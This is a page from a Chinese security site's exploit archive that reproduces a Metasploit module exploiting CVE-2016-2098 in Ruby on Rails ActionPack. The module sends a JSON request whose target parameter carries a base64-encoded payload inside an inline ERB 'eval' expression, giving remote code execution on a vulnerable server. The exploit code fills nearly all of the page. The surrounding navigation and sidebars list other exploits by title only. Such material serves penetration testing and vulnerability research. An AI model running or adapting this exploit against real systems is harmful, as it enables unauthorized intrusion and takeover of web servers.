首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ruby On Rails ActionPack Inline ERB Code Execution
来源:metasploit.com 作者:RageLtMan 发布时间:2016-07-11  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails ActionPack Inline ERB Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in the
        inline request processor of the Ruby on Rails ActionPack component.
        This vulnerability allows an attacker to process ERB to the inline
        JSON processor, which is then rendered, permitting full RCE within
        the runtime, without logging an error condition.
      },
      'Author'         =>
        [
          'RageLtMan <rageltman[at]sempervictus>'
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-2098' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>	[ ['Automatic', {} ] ],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultOptions' => {
        "PrependFork" => true
      },
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
        OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
      ], self.class)

  end

  def json_request
    code = Rex::Text.encode_base64(payload.encoded)
    return {
      datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
    }.to_json
  end

  def exploit
    print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'ctype'   => 'application/json',
      'headers' => {
        'Accept' => 'application/json'
      },
      'data'    => json_request
    }, 25)
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CyberPower Systems PowerPanel
·MS16-016 mrxdav.sys WebDav Loc
·php Real Estate Script 3 - Arb
·Belkin Router AC1200 Firmware
·Microsoft WinDbg logviewer.exe
·Tiki Wiki 15.1 - Unauthenticat
·Microsoft Process Kill Utility
·Core FTP Le 2.2 Buffer Overflo
·WordPress WP-DownloadManager P
·Riverbed SteelCentral NetProfi
·GE Proficy HMI/SCADA CIMPLICIT
·MS16-032 Secondary Logon Handl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved